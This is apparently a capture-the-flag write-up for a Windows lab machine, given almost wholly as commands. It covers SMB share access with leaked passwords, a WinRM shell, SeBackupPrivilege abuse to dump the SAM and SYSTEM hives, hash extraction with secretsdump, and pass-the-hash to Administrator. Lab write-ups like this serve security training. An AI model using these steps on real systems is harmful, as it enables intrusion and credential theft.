# Failed - no WinRM access

# Access DEV share
smbclient //10.129.231.149/DEV -U david.orelious
# Password: aRt$Lp#7t*VQ!3
# In smbclient: recurse ON, prompt OFF, mget *
cat Backup_script.ps1
# Found: emily.oscars:Q!3@Lp#M6b*7t*Vt

# Test WinRM for emily
netexec winrm 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
# Success: (Pwn3d!)

# Get Shell
evil-winrm -i 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

# Windows Commands
cd C:\Users\emily.oscars.CICADA\Desktop
type user.txt
# Flag: ff94c460876f705c2f45270e5ae4b076

whoami /all
whoami /priv
whoami /groups
# Found: Backup Operators, SeBackupPrivilege

# Quick Root Flag
robocopy /b C:\Users\Administrator\Desktop C:\Users\emily.oscars.CICADA\Desktop root.txt
type root.txt
# Flag: 6e2b72509a4ecbb85b1e7df87cce9c7f

# Full Privilege Escalation
mkdir C:\Windows\Temp\backup
reg save HKLM\SYSTEM C:\Windows\Temp\backup\SYSTEM
reg save HKLM\SAM C:\Windows\Temp\backup\SAM
download "C:\Windows\Temp\backup\SAM"
download "C:\Windows\Temp\backup\SYSTEM"

# On Kali
sudo impacket-smbserver share /tmp/share -smb2support
cd /tmp/share
sudo chown kali:kali SAM SYSTEM
chmod 644 SAM SYSTEM
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::

# Pass-the-Hash
evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
cd C:\Users\Administrator\Desktop
type root.txt
# Flag: 6e2b72509a4ecbb85b1e7df87cce9c7f

End of Writeup